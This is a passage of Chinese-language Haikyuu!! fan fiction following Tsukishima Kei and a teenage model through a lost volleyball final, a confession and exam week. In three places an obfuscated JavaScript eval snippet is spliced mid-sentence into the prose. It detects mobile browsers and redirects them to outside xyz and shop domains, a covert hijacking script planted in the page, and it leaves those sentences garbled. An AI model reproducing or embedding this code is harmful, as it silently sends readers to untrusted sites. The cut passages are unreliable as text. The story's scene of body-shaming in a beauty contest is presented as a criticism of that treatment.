保持了一天的妆已经花得不成样子，好在她今天的眼妆不浓、就算花了看上去也不像一只大熊猫。 哭着哭着又开始要注意形象管理了，偏偏随身带的化妆镜忘在了家里。她对着便利店的玻璃试图看清自己此时此刻的样子，也只是徒劳。 所以她只能顶着红肿的双眼和满脸的泪痕，抬头问月岛萤：“我现在是不是很丑？” 月岛萤也没想到有人能难过成这样了、还要在意自己好不好看。他看着北里悠花这副样子有点想笑，故意逗她：“没错，是不好看。” “如果你再继续哭，明天的眼睛就会比教导主任还小、脸会和相扑选手一样肿。” 北里悠花震惊地睁大了眼睛，她没想到月岛萤非但没安慰她还直接说她不好看！这下眼泪更像开了闸的水龙头，哗啦啦地流下来。 月岛萤也没想到自己的话会起了反效果，一向最注重外表的北里悠花哪能听这些话。她哭泣的动静实在太大，连便利店店员都向月岛萤投来斥责的目光、能在深夜弄哭漂亮女孩的男人肯定不是个东西。 这下他只能老实闭上了嘴巴。 最后一张纸巾也被用完，北里悠花还在拽着他的手臂不让他走。月岛萤都不好起身去买新的餐巾纸，只好无奈地用自己干净的衣服给她擦眼泪。 他安慰人的技巧很不成熟。 好半天，才挤出来一句干巴巴的：“别哭了。” 北里悠花总算是发泄完一点情绪。 今晚的样子过于失控，就算一切都是自己的安排也有些不好意思。她终于止住了眼泪，说出的话还带着些抱怨：“月岛君你一点都不会安慰人。” 现在的月岛萤很听话：“嗯。” “所以我讨厌你。” “哦。” 月岛萤见北里悠花有力气和他胡搅蛮缠了，就知道她好得差不多了。 他站起身朝柜台走去，买了一包纸巾回来给她。身上衣服的下摆全是北里悠花的眼泪，北里悠花看着莫名有些感动。 “谢谢你月岛君。”她拿着纸巾说。 月岛萤知道她是在真的道谢，伸出手拍了拍她的脑袋。 “好了，回去吧。” 他说。 19. 19. 月岛萤将北里悠花送回家。 一路上他们没怎么说话，北里悠花踩着他长长的影子向前走。肩膀时不时会碰到对方，当作是恶作剧。月岛萤没把她的小动作放在心上：“好好走路。” “月岛君真的像老师一样，管这管那的。” 北里悠花快步走到他面前站定，双手背在身后。她的眼睛还有些肿，在朦胧的街灯之下看不大真切。 深夜十点半的道路过于静谧，远处只有一家居酒屋还亮着暖黄的光、社畜们下班聚餐的声音过于吵闹，除此之外再没有别的。飞蛾正围着光源盘旋，任何感官都能在这个特殊的夜晚被无限放大。 她还是没忍住好奇：“你怎么都不问我为什么哭呀。” “你不想说的话，我不会问原因。” 他的语气太平淡了，好像刚刚没有见到痛哭流涕的北里悠花一样。也或许在他看来，哭泣本身就是一件再平常不过的、值得原谅的事情。 北里悠花总觉得天大的困难从月岛萤嘴里说出来，也都没那么重要了。心里的焦躁被一点点熨烫平整，她总算说出了原委。 “没什么不能说的呀，只是觉得有点丢脸。” “就是日向小姐——哦，她是我的经纪人。放学的时候来见我，和我说她手下新签了一个女生模特，也是高中生。” “还说什么资源会平分，让我不用担心。确实是平分了呀，本来只属于我的走秀资源也被平分了。” 像是说到了极为好笑的点，北里悠花甚至直接笑出了声。但总归看起来有点可怜，配着萧瑟的背景跟无家可归的流浪猫没什么两样。 “真是不公平，可我又没有资格拒绝。” 就这样短暂低落了几分钟，北里悠花又和打了兴奋剂一样满血复活。她信心满满地朝自己唯一的观众宣布：“不过我一定会变成真正的有钱人，等到那一天所有的杂志、综艺、电视剧和品牌方都会争着求我出演。” 北里悠花的表情如同在陈述一个既定事实，没有丝毫的自我怀疑。她是如此确信，自己会一步步向上攀登、并最终会获得想要的一切。 这场演出到此为止。 观众月岛萤给出了评价，他的嘴角微微扬起：“这下又要成为二十一世纪最伟大的有钱人了吗？” 听到月岛萤还记得这个称呼，北里悠花得意洋洋地进行肯定。 “没错哦！到时候月岛君就是二十一世纪最伟大有钱人的专属投资人了。怎么样？入股不亏哦~” 月岛萤无视了她话里的暗示、油盐不进。 而说话之间他们已经走到了北里悠花的家楼下。 “好了，你该上去了。” 真是的，早知道就选一家远一点的便利店了。 她不想就这样分开。 于是趁着月岛萤没反应过来，北里悠花干脆直接一下子钻进了他的怀中。 她的双手紧紧抱住月岛萤的身体，没忍住将自己的脸也埋在他胸口的衣服上蹭了两下。他们是如此亲密，她都能闻到沐浴之后干净的留香、和他平时身上的气味一样。她想把自己的温度也留在他身上，她想让月岛萤永远忘不了她—— 好喜欢。 好幸福。 这个拥抱只持续了三秒，实在过于短暂。 在月岛萤推开她之前，北里悠花已经率先松开了手。 “明天见，月岛君。” “今天谢谢你能来。” 月岛萤看见北里悠花飞快转身走进塔楼的大门、缩小成一个点——像是害怕被他拒绝一样。 胸前的白T恤上留下了滑稽的粉底印子，十分突兀。他还能感受到不属于自己的、柔软的感觉，夹杂着她甜甜的香水味道。 但其实他并没有打算推开她。 * 这晚的事情成了他们共同的秘密。 第二天来到学校，北里悠花还是光彩照人。她晚上在家狠狠冰敷了红肿的双眼、又大清早特意去健身房跑步消肿，来到学校时已然是无懈可击的全妆状态、连因为睡眠不足导致的黑眼圈都被完美遮住。 反倒是月岛萤因为睡得太晚而有些疲惫，他摘下眼镜按了下太阳穴、觉得北里悠花的精力实在太好，昨晚哭成那样了还有力气爬起来化妆。 正式入夏前进入了雨季。 空气有些潮湿，早上来学校的路上还下了一场大雨、全身都粘乎乎的。从窗外望出去也是一片灰蒙，佐佐木夸张地形容这是“期末考试前乌野学生们的怨气”。 北里悠花开启了“完全学习模式”。为了能顺利走上秀她决定彻底洗心革面，今天的每一节课都听得格外认真、也没有在LINE上和月岛萤插科打诨。 每当北里悠花下定决心做某件事都能做好，就比如去年参加了那场腥风血雨的高中生选美比赛。 参加的选手全是同龄的女高中生，她们心里或多或少藏着自己的考量、也有一定的演艺圈经验。 每张面孔都如同天使一般，但即便嘴上说着无数个“卡哇伊”、私下也可能互相翻白眼说坏话。 能获得一个人的好感并不难，而要在一场全是漂亮女生的比赛里生存下来并非易事。 于是选美比赛的每一天北里悠花都焦虑到失眠，她需要时时刻刻观察别人的新造型，也需要在一场又一场的社交中不断读空气、生怕自己说错了一句话。 这都不是最困难的。 最困难的是要放下自己的所有尊严，讨好评委和观众。 北里悠花还记得那个泳装环节。 所有的女高中生们都需要穿着无比清凉的泳装进行走秀，并由网络上的大众评委和现场评委共同打分、选出在这个环节表现最出色的人。 这简直是一场对未成年女生的视觉霸凌。 她们面对着好几台如黑色怪物般的摄像机，比赛全程都被直播到网络上，每一个网民都能毫无顾忌地肆意点评她们的身材。但偏偏录影中的女生们对这些一无所知，依旧对着镜头摆出无数个娇俏可爱的姿势。 有一个和北里悠花同组的女生，并不算苗条、但也绝对不胖，完全是正常人的体重。 这个女生当时穿着一身嫩粉色的比基尼，恰好暴露了突出的小腹。上台前她就一直很紧张，拉着北里悠花的手说： “我只能一直吸着肚子了，否则肚子上的肉就要被发现了。” 北里悠花安慰她：“没事的，评委都离得很远、看不太清楚的。” 北里悠花其实自己也很紧张，她穿的也是一身带花边的比基尼、必须时时刻刻注意自己没有走光并且挺胸收腹。她从来没有在一群人面前穿得那么少过，浑身都在发抖。 而没有人在意她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522841|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法如何。 冷空调直直打在裸\露的皮肤上，打光灯刺眼到她快睁不开眼睛。眼前全是模糊而重叠的影子，偏偏背景音乐格外欢快、仿若置身于一场巨大的狂欢派对。 坐在评委席正中间的是一个秃顶的瘦小老头，北里悠花记得他是某个艺能事务所的社长。 老头浑浊的目光就这样在一个又一个女高中生的身体上扫视，随即接过助理递来的话筒，开始进行点评。 他的声音嘶哑又难听。 他说那个和北里悠花同组的女生，是“灾难般的肥胖”、“如果没有做好觉悟就不要参加比赛，这是对观众的不尊重”。 他说北里悠花的身材，“平淡无奇、没有任何看点”，是“随处可见的普通人”。 每个女生在他口中都被贴上了无数个恶意满满的标签。 而网友们的点评更是尖酸刻薄，一个小动作都能被曲解成各种意思。 很不幸的是，那个女生在做一个弯腰动作时，还是暴露了一直狠狠吸住的小腹。 她腹部的软肉就这样展现在了所有人面前，惹得直播的评论区一片笑声。 “换一个、这个太丑了。” “现在女高中生都是这个质量了吗？” “这肚子也太肥了，这种程度的话简直是粉色肥猪啊。” “主办方能赔我一点钱吗？我的眼睛都疼了。” “……” 恶评如潮水般占据了整个直播间。 而主办方对此喜闻乐见，他们太需要讨论度了。 于是这个片段被有心之人截取，又二次传播到了推特和IG上，观看量更是达到了可怕的上百万次。没有人在乎这只是一个正值青春期的少女，也没有人想过为什么高中女生们要面对一群成年男性袒\露自己的身体。 那个女生在这一轮就被淘汰了。 北里悠花没有加她的联系方式，只是后来听别的参赛女生说她退学了、转到了乡下的一所高中继续念书。 北里悠花一直忘不了上台前她拉着自己时的眼神。 是带有一丝希冀的、全然都是对演艺圈的美好憧憬。北里悠花想她也一定期待着成为艺人，被粉丝所喜爱。但现实却是她因为根本不明显的赘肉被所有人网暴，连在学校里也抬不起头，只能到一个没人认识的地方隐姓埋名地活着。 北里悠花很同情她，但这确实是演艺圈的运行法则。 成为冠军的唯一方法，就是要迎合令人作呕的一切。 只能对自己足够狠。 所以北里悠花在权衡利弊之后，作为一个小基数却瘦了整整2kg、终于达到了比赛近乎病态的审美标准。 她又虚心接受主办方和事务所的意见，每天对着评委老头们露出一张笑脸、摆出谦逊的神态，完全是一个有礼貌的后辈。 还积极处理和所有参赛选手的人际关系，找不出一个说她坏话的人。 后来北里悠花如愿以偿，捧起了那座象征着“日本最美女高中生”的奖杯、并戴上了一顶精美的王冠。 北里悠花有些讨厌这样的自己，明明知道这些人只是喜欢一个美丽愚蠢的外壳、却还是笑着接受众人的赞美。 她究竟有被大家喜欢着吗？ 她搞不清了。 而无论如何，学习比这些都简单多了。 20. 20. 课间，月岛萤又不在座位上。 他这一周经常因为训练缺席补课，没了老师的北里悠花只能自己费劲地在数学的海洋里游泳。好在月岛老师走之前留下了他高一的笔记，看着上面简洁的重点也能逐渐找到思路、没让她淹死。 下一节是体育课，北里悠花和村上由奈一起去更衣室换衣服。 路过排球馆时，她被远处传来的激烈动静吓了一跳。 这究竟是吼叫声？还是野兽？ 走近才发现是橘子头日向翔阳在练习击球，他上蹿下跳的声音实在过于有辨识度、隔着一扇大门都能穿透耳膜。 “听说这次决赛的对手又是伊达工哦。” 见北里悠花的脚步停滞，村上由奈善意地给她这个外来者科普。 “伊达工？”这个陌生的学校名字让她不经发出疑问。 “就是我们县内的排球强校，以超高的拦网技巧闻名。”村上由奈解释道，“也一直是我们的劲敌，去年就和他们陷入了苦战，没想到这次决赛又和他们碰上了。可真是难办啊……所以排球部的几个正选每天都在加训，毕竟是通往全国前的最后一战了。” “这样啊。”北里悠花若有所思地点头。 也难怪最近和月岛萤见面的频率减少许多。除了那个拥抱之外、这几天他们的联系只有在LINE上的寥寥数言。 月岛萤和山口忠两个人无论在早晨、中午、还是放学后都会一起诡异地消失，不出意外应该就是去自主训练了。 对于排球月岛萤能倾注所有热情，明明看起来也是个低能量的人、竟然能日复一日参加枯燥的训练，甚至连休息日和寒暑假都要被榨干去集训。 北里悠花知道，自己肯定没有这样好的耐心。她这么多年唯一坚持做的事情就是每天化妆和护肤，哦、还有减肥。 整个乌野高校也都为这场预选赛决赛做足了准备。抬头就能看见教学楼上悬挂出的横幅。 纯黑的背景布之上，写着巨大而醒目的「飛べ！」，北里悠花从没见过有哪个学校用同款颜色。 星野杏和佐佐木这次还是代表他们班级，自发组成了应援团。报名参加的人数很多，学校都打算包几辆大巴车去现场了。 真是有够夸张的。 “悠花，这次的决赛你能来嘛？” “不一定哦。”她收回目光、垂下眼眸看着因为下雨而湿哒哒的地面。但又表现出一副关心比赛的样子，询问这位副班长。 “由奈你是不是会去现场呀？” “是呀，这次我会和小杏一起去。她说伊达工的应援非常可怕，我们也不能输了气势！不过临时学太鼓是没可能了、只能跟着喊下口号了。”村上由奈不好意思地笑笑。 真是位可靠的副班长。 北里悠花随即亲昵挽上她的手臂，循循善诱：“那如果到时候由奈你有空的话，可不可以在每局比赛结束的时候都跟我说下赛况呀。虽然不能到现场加油……”说着说着她的声音轻了些，看起来很低落，“但就算只是通过短讯，我也想给大家应援！” 她说得非常义正言辞，实则狗屁不通。 稍微思考一下就能明白，光知道一个赛况什么用都没有。但村上由奈一点没怀疑过好友，反而发自内心觉得北里悠花是真的在为排球部考虑。 真是人美心善，就算自己被工作缠身也不忘关心决赛的情况。 村上由奈握住北里悠花的手，一股作为副班长的责任感油然而生。她答应得十分坚定：“当然没问题！你放心，每局比赛一结束我就给你发消息。” 北里悠花眼见目的达成、也顺势回握住她，拍了拍她的手背：“快走吧，马上要上课了。” “对哦对哦！” 女生们快步朝更衣室跑去。 * 周六、仙台体育馆，IH县预选赛决赛。 对手是乌野高校和伊达工业高校。 天气阴沉而闷热，烂得可以。厚重的乌云堆叠于天际线，仿佛在酝酿一场入夏前的大暴雨。 观赛的人群正在入口处排队等待，连宽敞的体育馆都显得有几分逼仄。 月岛萤身穿11号队服，在场上做着最后的热身准备。乐天派橘子头和面无表情的王様还是一如既往，看不出一点紧张的情绪、不时还能拌嘴吵个架。 在教练席待命的谷地仁花倒是十分不安，她的眼睛左看右看、又想递毛巾又想递水，最后还是田中龙之介一通安慰才让她稳了心神。 月岛萤张开手、看了看自己的掌心，又握紧了拳。 对于今天的比赛，他没有十足的把握。 从某种意义上来说，月岛萤是个悲观主义者。 他从来都只相信尽人事而知天命，不认为自己会被神明眷顾。他有天赋、却没有那么多的天赋。不像日向翔阳和影山飞雄那样，能将百分百的精力都奉献给排球、头破血流也不在乎。 月岛萤的手上是长期接触排球而形成的薄茧，但站在这片球场上的每一个人都有。 摔跤造成的淤青、跑跳不慎的肌肉拉伤，一群人里找不出一具没有受过伤的身体。拼了命只为了一场部活、也不过是停留在生命里的一瞬间。 去年他很讨厌这样的热血笨蛋，而现在的自己又不知不觉间被同化了。 “喂——给我好好干啊——！” “乌野——加油啊——！” “输了我可饶不了你们——！” 前辈们也来加油了。 泽村大地将双手放在嘴边，站在观众席上大声吼着。菅原孝支和东峰旭加入其中，三个人宛若行走的大喇叭。反而是清水洁子替他们感到不好意思，只是红着脸朝队员们挥了挥手。 这招很奏效。 田中龙之介和西谷夕立马神清气爽，看起来飘飘然得能绕场馆跑十圈还不带喘气的。 乌野的每个人都知道今天会是一场拉锯战。 伊达工来者不善，去年落败的不甘让这群铜墙铁壁的身上充满了低气压。一想到等下要和这些怪物对抗月岛萤就有些头疼，感觉自己的指尖都已经在隐隐作痛了。 没有太多伤春悲秋的时间。 耳边的应援声也逐渐安静了下来，随着哨声响起—— 比赛开始了。 * 村上由奈： 「啊啊啊悠花，比赛开始了——好紧张啊啊啊！」 「第一分是我们先拿下的！！！」 「太好了迅速拿下第一局啊啊啊！希望乘胜追击啊啊啊啊！」 村上由奈： 「完了，第二局开局不妙啊……」 「SOS……第二局大比分输了，18-25……」 村上由奈： 「第三局也输了……真的好焦灼，好在分差不大。」 「23-25。」 北里悠花看到消息时比赛已经打完三局了，月岛萤他们陷入了危机、被伊达工连下两局。 她谷歌了一下，预选赛决赛应该和正式比赛一样，都需要打满五轮、25分制。 听着就够累。 现在她正悠闲地坐在化妆桌前，刷上最后一层睫毛膏。又拿出镊子细致地将睫毛打理成束感，这才对着镜子露出了满意的微笑。 抿了下嘴唇上的透明唇釉，北里悠花终于穿着精心挑选的连衣裙出了门。 今天她走的是少女感清楚系。裙子是永远不会出差错的温柔米色，袖子做成了微透设计的荷叶边，优美的肩颈曲线若隐若现。 从北里悠花的家出发到仙台体育馆，坐电车大概需要三十多分钟。 比赛应该正好结束不久吧。 她并不着急，毕竟这是一场艰难的比赛。 除了村上由奈之外，北里悠花还旁敲侧击了许多人。 比如非常了解去年赛况的应援团组织者星野杏，还有真正的专业人士山口忠。得到的答案都如出一辙——伊达工是一个非常难对付的敌人。 但北里悠花才不在乎这些，她只提取关键信息、并汇总成自己独断的想法： 这场比赛很难。 就算赢也不会很轻松。 甚至有输的可能。 村上由奈的信息还在一条接一条发来。 村上由奈： 「第四局目前打平了！15-15，不行了我呼吸都要停止了！」 「救命月岛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522842|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君太帅了，直接把对面的进攻给拦下了！果然男人专注事业的时候最有魅力（x」 「完了影山君也好帅！！！我不行了我爱运动系！」 北里悠花几乎能想象到现场的样子，她笑了笑开始在手机上回复。 Yuuka： 「天哪不好意思由奈，我刚结束工作看到消息！」 「真是太激烈了QAQ我也好想来现场为他们加油啊，一定很精彩！」 「希望这局我们能拿下啊（祈祷）」 村上由奈： 「悠花你终于出现了！」 「现在这局到赛点了，24-23。」 「紧张死我了……」 「啊啊啊啊日向扣杀了，这局赢了！」 Yuuka： 「呜呜呜太好了！」 乌野高校已经没有退路了，下一场就是决胜局。 * 第五局，19-22。 感官总在这时候变得格外清晰。 膝盖像灌了铅，每一次跃起都很沉重。身体在叫嚣着停下脚步，神经末梢却仍不断传输兴奋的信号，逼迫着他再次伸出手臂将球挡下。 额头上全是汗。 月岛萤随意擦拭了一下，在站位轮换的间隙抬头放松了下肩颈。 每次到比赛的结尾、疲惫就会开始喧宾夺主，全身都是黏腻的不适感。 他深吸了一口气，专注于对面的黄金川贯至。这个“新武器”比青根还难对付，似乎永远都不知道累。 很多时候月岛萤并不是得分的主力，光芒永远被用力扣杀的王牌抢去，而他只是在网前做好保镖的工作。 20-23。 比分还在被扩大，拿下的每一分都需要咬紧牙关。 一年级的新人早就没有体力、在赛场上喘着粗气重心不稳。鉴于是第一次在决赛上场，已经做得足够优秀。三年级的新队长缘下力手段虽然还不够成熟，但直到最后一秒都承担起了后盾的职责、没有退缩。 现在的乌野高校确实缺少磨合的时间。 今天的失败是可以预见的。 每个人都拼尽了全力，所以没什么可遗憾的。 21-24。 来到赛点。 动漫主角又再次如英雄般横空出世，日向翔阳跳跃起不可思议的高度、在赛场上张开羽翼。他出现在一个所有人都未曾预料到的位置，接起了伊达工王牌的扣球。 声音实在太大，排球重重砸在他的手臂上、让队员们的大脑都清醒了不少。 22-24。 乌野再次被拉回了命悬一线的位置。 * 村上由奈： 「悠花，比赛刚刚结束了。」 「22-25，我们输了。」 得知比赛结果时，北里悠花的电车已经到站。 暴雨过于应景、在盛夏前夕倾泻而下。豆大的雨点敲击她的透明雨伞，连路边都积了一层浅浅的水。 她撑着雨伞、一路走向体育馆。 * 乌野高校止步于IH县预选赛决赛，伊达工业高校将代表宫城县进军全国。 一年级的新人们正在抱头痛哭、他们才学会“失败”的真正含义。因为可以做到更好、而不甘心；也因为没有做到、而自责。 前任队长泽村大地来到场内，作为前辈简单鼓励了低迷的士气：“这还远远不是结束，不过是在春高前暴露了欠缺之处。”他这样说道，“现在最应该做的，是感谢为我们应援的大家。” 他们一起朝观众席深深鞠躬。 “感谢大家的应援——！” 月岛萤背手站在一边，他说不清楚自己心中的感受。 没有什么愧疚、也过了觉得后悔的时候。能做的都做了，现阶段的实力差距就是无法跨越的。 如果一定要形容的话，只剩下了面对现实的徒劳感。 在无人注意的教练席，他放在队服口袋里的手机振动了一下。 屏幕亮起。 Yuuka： 「月岛君。」 「如果你想见我的话，我就在场馆外哦。」 21. 21. 雨停了。 月岛萤走到体育馆外时，只剩屋檐还在断断续续地往下滴水、将门口的地砖染成深色。持续两周的潮热终于得到短暂休止，暴雨过后的空气凉爽清新。 北里悠花没有进体育馆，而是选择站在台阶下的小道上。 经过冲刷的高大乔木泛着湿润的绿色光泽，也把她的身影遮挡住了大半。她手里拿着一把长柄的透明雨伞，正百无聊赖地观察自己的缎面玛丽珍鞋有没有被泥土弄脏。 月岛萤想，她实在很瘦。 远远看过去，单薄得像一幅黑白素描。 一见他走过来，对方立马笑得眉眼弯弯。 “月岛君——！” 她总是喜欢这样喊他。 尾音上扬、似乎见到他就很开心。 月岛萤的世界陷入一种奇异的寂静。 阳光穿破云层，丁达尔效应让铅灰色的天空布满一束束温柔、鲜艳的金色亮光。北里悠花的轮廓也逐渐在他眼前清晰起来，她的面孔生动可爱、仿佛降临世间的救赎女神。 月岛萤听到自己故作镇定地问对方：“你怎么来了？” “我向由奈要了赛况哦，是不是很聪明~”北里悠花掏出手机，在月岛萤面前晃了晃。她就连手机都和本人一样吵闹，叮铃咣啷挂着粉色的串珠链。 “虽然我不太懂排球，但我想你现在应该不是很开心。” “所以我就过来找你了呀，就像你那天晚上来找我一样。” 月岛萤眼里的北里悠花是聒噪的——从早到晚有无数种情绪、能讲好多好多的废话。总把他当作理所应当的倾听者，每天上演不同的小剧场。好似他们理应如此熟悉一样，从没把他当成过普通同学。 “这才只是开始呢，我相信、你们今年春高一定能再次去东京。” 说着不痛不痒的、廉价的安慰。 月岛萤垂眼看着北里悠花。他突然发现、就算自己明知道她是一个恶劣的人，却仍然说不出一句重话。 “可惜今天我有工作没能看到现场……月岛君比赛时候的样子一定特别帅。” 北里悠花的谎言其实漏洞百出。 就像月岛萤早就发觉她只是将“工作很忙”当作一个惯用借口、来搪塞那些麻烦事，实则对比赛、班级荣誉、团队精神都没有一点兴趣。今天她也依旧卖弄着同样的小聪明，打造体贴敬业的人设——估计根本就是掐着时间点来的连体育馆的大门都没打算进吧。 “我猜你现在很需要人陪。” 北里悠花又朝他走进了一步。 她今天精心打扮过，连耳廓的发丝都是完美的弧度。 月岛萤已经见过北里悠花的许多样子：在等红绿灯时从出租车里探出头、在学园祭成为万众瞩目的玛蒂尔德、在图书馆偷懒耍赖不想学数学、在深夜的便利店哭成花猫。她穿着制服和他告白，又在通往天台的楼梯口再次重复、说出那句“我一定会让你幸福的”。 她自己应该都说不出喜欢的缘由。也许想打发无趣的校园时光、又或许只是随便找了个可以攻略的对象。 刚输了比赛，月岛萤的心情并不好。 「如果你想见我的话，我就在场馆外哦。」 而北里悠花又是这么凑巧、在他最为疲惫的时候发来消息。对方拿捏人心的技巧实在无比高超，轻而易举就让他产生一丝不易察觉的欣喜。 于是月岛萤快速沐浴，换上了一身干净的衣服。他走出体育馆时不自觉加快了脚步，连发梢都还带有湿意。 而在看到北里悠花后，血液里的焦躁还在不断沸腾。 他讨厌不按常理出牌的人、讨厌不能用理性判断的事。 “恋爱”这件事恰好占据了他所讨厌的全部。 北里悠花和考试不同，她没有标准解。 * “要抱抱我嘛？” 北里悠花微微抬头，笑着问他。 * 月岛萤沉默地看着北里悠花。 他一下子就释然了。 其实早就知道了不是吗？他从一开始就并非是这段关系中的上位者。 是他在节节败退、一点点把自己的底线让出。 是他一次又一次容忍北里悠花的得寸进尺，又继续着无意义的坚持、守护那颗可笑的自尊心。 当他开始注意她的一举一动时、当他会主动搜索网络上关于她的一切时、当他生活的每个角落，都习惯有她的存在时。 他就彻底认输了。 * 月岛萤极为自然地靠近她。 没等北里悠花反应过来，就已经先一步将她拥入怀里。 此时这是最优选。 这个拥抱似乎成了他获取能量的唯一方式，月岛萤用力到北里悠花觉得自己快要喘不上气来了。身高的差距让她不自觉地微仰着头，暴露出最为脆弱的脖颈。而月岛萤注意到她的无所适从，还有余裕伸出手、安抚般捏了捏她的后颈。 北里悠花被月岛萤的体温完全包裹，她第一次知道原来表面看上去再冷漠的男的、也会在拥抱时呼吸灼热。 这确实是一种奇妙的感觉，和上次她主动时不同、这次北里悠花能明显感觉到月岛萤在回应。这位高高在上的审判者终究还是卸下了所有防备，不再克制自己的情感。 距离比赛结束已经过去许久。 观众们早就陆续离场，乌野和伊达工的球员们大都体力透支、在更衣室晕厥过去呼呼大睡。故而馆外只剩下零星几个人影，没人注意到他们在角落相拥。 她故意在他怀里嘟囔。 “月岛君你抱得太紧了啦。” “哦。” 他稍稍放松了力气。 “你太高了我脖子都疼了。” “是么。” 他又弯了一点腰。 “月岛君。” “怎么了？” 北里悠花的声音有点轻，但还是完整落在月岛萤的耳中。 “你是不是也喜欢我呀？” 他喜欢北里悠花吗？ 月岛萤知道，此时反复纠结已然没有任何意义、行动早就暴露了他的真实想法。只是他仍然有一些别扭——毕竟这是他人生第一次体会到“恋爱”的心情。饶是平时伪装得再成熟，也不过是个高中生。 如果觉得她比别人看起来顺眼、做什么都很可爱、小脾气也都可以包容，还记得她那一串愚蠢至极的前缀、看到她画的小丸子会忍不住笑、知道她的坏心眼也无所谓…… 如果这种不甚明晰的感情就是喜欢的话。 那他想，自己毫无疑问是喜欢北里悠花的。 月岛萤还是没有松开北里悠花。 也许是因为害羞，他将头埋在了她的颈窝处、耳根通红。 然后北里悠花听见他颇为不熟练地开口： “你话很多。” “不要明知故问。” 都这样了还要嘴硬！ 她难道不值得一句喜欢吗？ 北里悠花有些生气，干脆挣脱了月岛萤的怀抱、向后退了一步。 她伸出一根手指抵在月岛萤的胸口：“今天可以暂且当作是对你的安慰。但如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522843|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好好说清楚的话，我也会感到伤心的。” 北里悠花很擅长揣摩月岛萤的想法。 对方今天的举动过于出格，想必经过了一番痛苦的思想斗争。这无疑是将少年的最引以为傲的尊严踩在了脚下，变相逼着他承认败者的结局。 从对月岛萤心动开始，她就知道这个人总有一天会成为自己的男朋友。自信是一方面，更多的是因为他们两个本质上属于同一类人、都是无比自私的利己主义者。 而北里悠花要比月岛萤还坏一点。 她就是要听到月岛萤心甘情愿地低头说出那句表白。 只有这样才能证明，他已经完全属于她。 这确实是一个适合表白的天气。 雨过初霁、云缝中的太阳在蒸发水汽。天空忽而变得无比澄澈，吹来阵阵适宜的微风，世间万物都闪着不可思议的色彩。 少年终于完整对眼前人坦露了真心。 “是，我喜欢你。” 对面的少女声音里充满了愉悦、继续问道。 “那月岛君有多喜欢我？” 月岛萤揉了揉她的头顶。 “很喜欢。” * 谷地仁花觉得自己出现得不是时候。 已经到了回程的时间，乌养教练叫她去找失踪已久的月岛萤。里里外外看了一大圈，这才在体育馆门口的小路上发现了身穿队服外套的月岛萤。 谷地仁花心想还好月岛萤长得特别高，一眼就能找到。 正当她准备开口叫他回去时，却注意到月岛萤好像在和谁说话。 月岛萤正背对她站着，从谷地仁花的角度看过去，他恰好将对方的身影完全遮挡住了、只露出了一点米色的裙摆。 应该是个漂亮的女生。 然后谷地仁花见证了能让她震惊一年的场景。 那个平时毒舌、冷酷、拽到不行、凡事都事不关己的月岛萤—— 竟然、竟然在主动表白！！！ 她她她她她没看错吧！ 不可置信地揉了揉眼睛，谷地仁花下意识地躲到了门口的柱子后面，将原本的话都咽回了肚子里。 在偷听到月岛萤说完那句“很喜欢”后，她的鸡皮疙瘩更是掉了满地。 上帝啊她是不是要被暗杀了，她究竟做错了什么要看到这些QAQ 要是被发现就完蛋了，还是当没看到的好！ 于是谷地仁花蹑手蹑脚地踮起脚尖转身，准备溜回体育馆内。 但人在极度震惊的状况下总会做傻事，可怜的谷地同学不小心脚下一滑、差点没站稳。鞋底摩擦瓷砖的动静让隔了一小段距离的月岛萤回头看了眼、又目光敏锐地发现了正准备逃走的球队经理。 总之谷地仁花就这样和月岛萤四目相对。 她尴尬地笑了笑，手脚僵硬在原地不知如何是好。只能无所适从地扯出一个比哭还难看的笑，说出那句经典台词： “我我我我什么都没看到——！” 她也确实什么都没看到！连女主角的脸都没看清啊啊啊啊。 被人发现的月岛萤反倒不怎么紧张。 他随手脱下了身上的队服外套、将宽大的衣服罩在了北里悠花的头上。在确定完北里悠花的脸已经被无死角地挡住后，才放心离开。 “没事，走吧。” 月岛萤对谷地仁花说。 * 北里悠花的视线被刹那间剥夺，外界的喧嚣一下子消失、只留下他外套上柔顺剂的香味。 她的头脑发懵，只能听见自己砰砰的心跳声。 22. 22. Yuuka： 「那我们现在算是在谈恋爱了嘛？（期待）」 月岛老师： 「等期末考试之后再说。」 * 随着交卷铃声响起，水笔停顿、在试卷上晕染出一个黑色墨点。 北里悠花发挥得马马虎虎，好在经过月岛老师最后几天恶魔般的补习、及格应该不成问题。她伸了个懒腰看向窗外，这才总算有了考试结束的实感。 从混沌的考试周得到解放、周围的同学已经开始商量等下要去哪里放松。首选是人均1000日元卡拉OK，作为组局者的佐佐木在班上发起了邀请。 “商业街的卡拉OK，等下要去唱歌的请举手！” 